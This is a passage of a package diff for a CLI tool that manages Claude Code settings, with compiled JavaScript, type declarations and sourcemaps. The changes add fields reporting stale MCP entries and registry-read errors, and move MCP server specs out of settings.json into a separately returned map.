+
const mcpDrift = computeMcpDrift(registryMcp, mcpProjection);
|
|
56
70
|
if (drift.length === 0 && mcpDrift.length === 0) {
|
|
57
71
|
return {
|
|
58
72
|
manifestPath,
|
|
@@ -66,6 +80,8 @@ export async function adopt(settingsPath, opts = {}) {
|
|
|
66
80
|
adoptedMcpNames: [],
|
|
67
81
|
replacedMcpNames: [],
|
|
68
82
|
outcome: "no-drift",
|
|
83
|
+
deadSettingsMcpNames,
|
|
84
|
+
...(registryReadError !== null ? { registryReadError } : {}),
|
|
69
85
|
};
|
|
70
86
|
}
|
|
71
87
|
const taken = new Set(manifest.hooks.map((h) => h.name));
|
|
@@ -135,6 +151,8 @@ export async function adopt(settingsPath, opts = {}) {
|
|
|
135
151
|
adoptedMcpNames,
|
|
136
152
|
replacedMcpNames,
|
|
137
153
|
outcome: "declined",
|
|
154
|
+
deadSettingsMcpNames,
|
|
155
|
+
...(registryReadError !== null ? { registryReadError } : {}),
|
|
138
156
|
};
|
|
139
157
|
}
|
|
140
158
|
}
|
|
@@ -191,6 +209,8 @@ export async function adopt(settingsPath, opts = {}) {
|
|
|
191
209
|
adoptedMcpNames,
|
|
192
210
|
replacedMcpNames,
|
|
193
211
|
outcome: "applied",
|
|
212
|
+
deadSettingsMcpNames,
|
|
213
|
+
...(registryReadError !== null ? { registryReadError } : {}),
|
|
194
214
|
};
|
|
195
215
|
}
|
|
196
216
|
function buildMcpEntry(d, existing) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/cli/adopt/index.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,MAAM,SAAS,CAAC;AAC9B,OAAO,KAAK,IAAI,MAAM,WAAW,CAAC;AAClC,OAAO,KAAK,QAAQ,MAAM,wBAAwB,CAAC;AACnD,OAAO,EAAE,KAAK,IAAI,SAAS,EAAE,MAAM,MAAM,CAAC;AAC1C,OAAO,EAAE,eAAe,EAAE,MAAM,0BAA0B,CAAC;AAC3D,OAAO,EAAE,cAAc,EAAE,MAAM,2BAA2B,CAAC;AAC3D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAChD,OAAO,EACL,sBAAsB,EACtB,mBAAmB,GACpB,MAAM,mCAAmC,CAAC;AAC3C,OAAO,EAAE,aAAa,EAAkB,MAAM,uBAAuB,CAAC;AACtE,OAAO,EAAE,QAAQ,EAAgC,MAAM,kBAAkB,CAAC;AAC1E,OAAO,EAAE,OAAO,EAAE,UAAU,EAAE,gBAAgB,EAAE,MAAM,kBAAkB,CAAC;AACzE,OAAO,EACL,YAAY,EACZ,eAAe,EACf,qBAAqB,EACrB,kBAAkB,EAClB,kBAAkB,EAClB,uBAAuB,EACvB,cAAc,GAGf,MAAM,aAAa,CAAC;
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/cli/adopt/index.ts"],"names":[],"mappings":"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"}
|
|
@@ -25,12 +25,25 @@ export interface SettingsPermissions {
|
|
|
25
25
|
}
|
|
26
26
|
export interface SettingsRoot {
|
|
27
27
|
hooks: Record<string, SettingsHookGroup[]>;
|
|
28
|
-
mcpServers?: Record<string, SettingsMcpServer>;
|
|
29
28
|
permissions?: SettingsPermissions;
|
|
30
29
|
}
|
|
31
30
|
export interface GenerateSettingsResult {
|
|
32
31
|
root: SettingsRoot;
|
|
33
32
|
warnings: string[];
|
|
33
|
+
/**
|
|
34
|
+
* The manifest's `tools.mcp[]` entries translated into Claude Code's
|
|
35
|
+
* server-spec shape (command/args/env), INCLUDING the grounding-mcp
|
|
36
|
+
* `EVIDENCE_LEDGER_DB` projection (`projectGroundingEnv`). Deliberately
|
|
37
|
+
* NOT part of `root` and never serialized into settings.json (task
|
|
38
|
+
* init-mcp-wiring-claude-code/T-002): Claude Code does not read the
|
|
39
|
+
* settings.json `mcpServers` block at runtime — see
|
|
40
|
+
* `src/io/claude-mcp.ts`'s module header. User-scope MCP registration
|
|
41
|
+
* goes exclusively through the `claude mcp` CLI now
|
|
42
|
+
* (`ensureMcpServers`); this field is what feeds that path. The init
|
|
43
|
+
* wizard (`src/cli/init/interactive.ts`) reads it directly instead of
|
|
44
|
+
* reading it back out of a written settings.json.
|
|
45
|
+
*/
|
|
46
|
+
mcpServers: Record<string, SettingsMcpServer>;
|
|
34
47
|
}
|
|
35
48
|
export interface GenerateSettingsExtras {
|
|
36
49
|
/**
|
|
@@ -78,14 +78,18 @@ export function generateSettingsWithWarnings(manifest, extras = {}) {
|
|
|
78
78
|
const hooks = byEvent.get(event) ?? [];
|
|
79
79
|
out.hooks[event] = buildGroups(hooks);
|
|
80
80
|
}
|
|
81
|
+
// buildMcpServers/projectGroundingEnv still run here (not moved) so the
|
|
82
|
+
// env-tilde and empty-command warnings stay attached to the same
|
|
83
|
+
// `warnings` array regardless of which path (settings.json hooks vs.
|
|
84
|
+
// the claude-mcp Ensure path) consumes the resulting spec map. The
|
|
85
|
+
// result is intentionally NOT projected into `out` — see
|
|
86
|
+
// GenerateSettingsResult.mcpServers.
|
|
81
87
|
const mcp = buildMcpServers(manifest.tools.mcp, warnings);
|
|
82
88
|
projectGroundingEnv(manifest, mcp, extras.homeDir);
|
|
83
|
-
if (Object.keys(mcp).length > 0)
|
|
84
|
-
out.mcpServers = mcp;
|
|
85
89
|
const permissions = compactPermissions(extras.packPermissions);
|
|
86
90
|
if (permissions)
|
|
87
91
|
out.permissions = permissions;
|
|
88
|
-
return { root: out, warnings };
|
|
92
|
+
return { root: out, warnings, mcpServers: mcp };
|
|
89
93
|
}
|
|
90
94
|
function compactPermissions(p) {
|
|
91
95
|
if (!p)
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"generate-settings.js","sourceRoot":"","sources":["../../../src/cli/apply/generate-settings.ts"],"names":[],"mappings":"AAAA,+EAA+E;AAC/E,iFAAiF;AACjF,sEAAsE;AACtE,EAAE;AACF,sEAAsE;AACtE,EAAE;AACF,uFAAuF;AACvF,EAAE;AACF,wEAAwE;AACxE,0EAA0E;AAC1E,2EAA2E;AAC3E,kCAAkC;AAClC,6EAA6E;AAC7E,0EAA0E;AAC1E,mDAAmD;AACnD,4EAA4E;AAC5E,uEAAuE;AACvE,wEAAwE;AACxE,yEAAyE;AACzE,qEAAqE;AACrE,yEAAyE;AACzE,0EAA0E;AAC1E,sEAAsE;AACtE,yEAAyE;AACzE,2EAA2E;AAC3E,yEAAyE;AACzE,0EAA0E;AAC1E,uEAAuE;AACvE,sEAAsE;AACtE,yEAAyE;AACzE,uEAAuE;AACvE,oEAAoE;AACpE,0EAA0E;AAC1E,qEAAqE;AACrE,uEAAuE;AACvE,wEAAwE;AACxE,0CAA0C;AAC1C,EAAE;AACF,0EAA0E;AAC1E,gBAAgB;AAChB,uEAAuE;AACvE,0DAA0D;AAC1D,4DAA4D;AAC5D,yEAAyE;AACzE,oDAAoD;AAGpD,OAAO,EAAE,UAAU,EAAE,MAAM,8BAA8B,CAAC;AAE1D,MAAM,CAAC,MAAM,iBAAiB,GAAG,MAAM,CAAC;AAExC,iFAAiF;AACjF,MAAM,CAAC,MAAM,yBAAyB,GAAG,eAAe,CAAC;AACzD,uFAAuF;AACvF,MAAM,CAAC,MAAM,sBAAsB,GAAG,oBAAoB,CAAC;
|
|
1
|
+
{"version":3,"file":"generate-settings.js","sourceRoot":"","sources":["../../../src/cli/apply/generate-settings.ts"],"names":[],"mappings":"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